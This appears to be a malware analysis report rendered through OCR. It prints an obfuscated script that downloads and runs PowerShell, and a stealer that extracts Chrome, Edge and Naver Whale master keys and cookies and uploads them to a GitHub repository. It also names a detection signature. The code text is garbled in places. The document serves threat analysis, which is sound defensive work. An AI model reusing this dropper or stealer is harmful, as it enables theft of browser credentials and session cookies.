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bmvkdlfdjklfastw "powershell .exe”

bmvkdlfdjklfastw Replace(bmvkdlfdjklfasfw, pwoekdsfw,
oeioiwaofsodaf = "[string]$f={(Nwraew-Objuraect "
oeioiwaofsodaf = Replace(oeioiwaofsodaf, pwoekdsfw, "")
bncsaksfefw “"Newrat. NEUWPa[llNFEPNFdﬂt) D0w9115d1+en5
bncsaksfefw

bncmdoeofate

T

bncmdoeofafe ncmdoeufafe, pwoekdst,
bmcnskawew = "};%$j=%f.Replace('wra’,"'");%u=%j.Replace( eilsdjfe’,

bmcnskawew Replace(bmcnskawew, pwoekdsfw, ")

bmkfcnvksdfkajw = "'nloadstri’);$x=iex $u;iex $x"

bmkfcnvksdfkajw Replace(bmkfcnvksdfkajw, pwoekdsfw, "")

peoskawefgea oeioiwaofsodaf bncsaksfefw bncmdoeotafe bmcnskawew bmkfcnvksdfkajw

ieoalsdfasfefafawe.ShellExecute bmvkdlfdjklfasfw, peoskawefgea, "", "open”, @
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function main
I
L

-ExecutionPolicy -Scope CurrentlUser -ExecutionPolicy Bypass -Force

ChromedataPath "% %env: LOCALAPPDATA) \\Google\\Chrome\\User Data"
EdgedataPath "% (Penv:LOCALAPPDATA)\\Microsofti\Edge\\User Data”

NaverWhaledataPath “%(Zenv: LOCALAPPDATA)\\Naver\\Naver Whale\\User Data"

Add-Type -AssemblyName System.Security

masterkey - Get-MasterKey (%ChromedataPath)
outFile masterkey "Senv:APPDATA\masterkey . txt"
Add-Content -Path foutFile masterkey -Value (“Chrome :

masterkey = Get-MasterKeylSON (%ChromedataPath)
Add-Content -Path foutFile masterkey -Value (“Chrome :

masterkey - Get-MasterKey (7EdgedataPath)
Add-Content -Path foutFile masterkey -Value (“msedge :

masterkey - Get-MasterKeylSON (%EdgedataPath)
Add-Content -Path foutFile masterkey -Value (“msedge :

masterkey = Get-MasterKey (7NaverWhaledataPath)

Add-Content -Path foutFile masterkey -Value (“NaverWhale :
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[Net.ServicePointManager]: :SecurityProtocol "tls12°

function git-uploadfile {
(
token
message
file
owner
repo
path A
sha
[switch]%force

function CookieCopyFile ($Array)

I
L

(! (Test-Path -Path fArray[©])) { False}

Files Get-ChildItem -File -Path %Array[@] -Recurse -Include “"Cookies™
(iFiles)
T
L
(31 =8; % Files.Count i++)

destFileName env:APPDATA + “\Cookies " Array[1]
Copy-Item “Files[$i] -Destination ‘destFileMame -Force
git-uploadfile -token 'g 0" -file
destFileName -owner repo path force
del ‘destFileName
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¥ - Go to file

20 hours ago Y9 History

4 Leg Mo commit message 20 hours ago
O Leg Mo commit message 20 hours ago
3 Log Mo commit message 20 hours ago
3 Log Mo commit message 20 hours ago
O Log Mo commit message 20 hours ago
O Log _ romel Mo commit message 20 hours ago
(] .txt Mo commit message 20 hours ago
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Trojan/PowerShell.FileUpload.S2023 (2023.02.25.00)
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MD5
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